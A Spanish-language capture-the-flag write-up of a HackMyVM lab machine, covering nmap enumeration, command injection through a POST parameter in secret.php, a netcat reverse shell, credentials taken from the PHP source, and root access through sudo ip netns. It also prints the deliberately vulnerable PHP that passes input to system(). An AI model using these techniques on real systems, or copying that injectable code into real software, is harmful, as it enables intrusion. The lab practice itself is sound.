Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-18 11:00 EDT
Nmap scan report for 192.168.1.236
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 4b:24:34:1f:41:10:88:b7:5a:6a:63:d9:f6:75:26:6f (RSA)
| 256 52:46:e7:20:68:c1:6f:90:2f:a6:ad:ee:6d:87:e7:28 (ECDSA)
|_ 256 3f:ce:97:a9:1e:f4:60:f4:0e:71:e7:46:58:28:71:f0 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Test Page for the Nginx HTTP Server on Fedora
MAC Address: 08:00:27:A6:FC:96 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.57 seconds
Veremos que hay una pagina web en el puerto 80, si entramos veremos una pagina web normal, por lo que vamos a realizar un poco de fuzzing.
Veremos que el secret.php puede hacer algo pero veremos algo interesante en el name= que pone HackMyVM por lo que vamos a probar lo siguiente:
URL = http://<IP>/secret.php?HackMyVM=whoami
Info:
Now the main part what it is loooooool
Try other method
Veremos que no ha funcionado, pero por que no es el metodo adecuado, estamos utilizando el metodo GET por lo que vamos a probar a utilizar el metodo POST capturando la peticion con BurpSuite.
Una vez que tengamos abierto BurpSuite capturaremos la peticion recargando la pagina enviando el whoami, por lo que veremos lo siguiente:
GET /secret.php?HackMyVM=whoami HTTP/1.1
Host: 192.168.1.236
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Ahora vamos a darle click derecho -> changue request method y con esto nos quedara asi:
Antes de enviarlo nos pondremos a la escucha con nc.
nc -lvnp <PORT>
Ahora cuando lo enviemos por BurpSuite si volvemos a la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [192.168.1.236] 48638
sh: 0: can't access tty; job control turned off
$ whoami
www-data
Veremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Vamos a leer la flag del usuario:
user.txt
e4408105ca9c2a5c2714a818c475d06F
Escalate user prakasaka
Si leemos el archivo secret.php veremos lo siguiente:
cd /var/www/html
cat secret.php
Info:
<?php
if(isset($_GET['HackMyVM'])){
echo "Now the main part what it is loooooool";
echo "<br>";
echo "Try other method";
die;
}
if(isset($_POST['HackMyVM'])){
echo "You Found ME : - (";
echo "<pre>";
$cmd = ($_POST['HackMyVM']);
system($cmd);
echo "</pre>";
die;
}
else {
header("Location: https://images-na.ssl-images-amazon.com/images/I/31YDo0l4ZrL._SX331_BO1,204,203,200_.jpg");
}
$ok="prakasaka:th3-!llum!n@t0r";
?>
Veremos lo que parece las credenciales del usuario prakasaka, vamos a probarlo haciendo lo siguiente:
su prakasaka
Metemos como contraseña th3-!llum!n@t0r y veremos que somos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for prakasaka on method:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User prakasaka may run the following commands on method:
(!root) NOPASSWD: /bin/bash
(root) /bin/ip
Veremos que podemos ejecutar el binario ip como el usuario root, por lo que haremos lo siguiente:
sudo ip netns add foo
sudo ip netns exec foo /bin/sh
sudo ip netns delete foo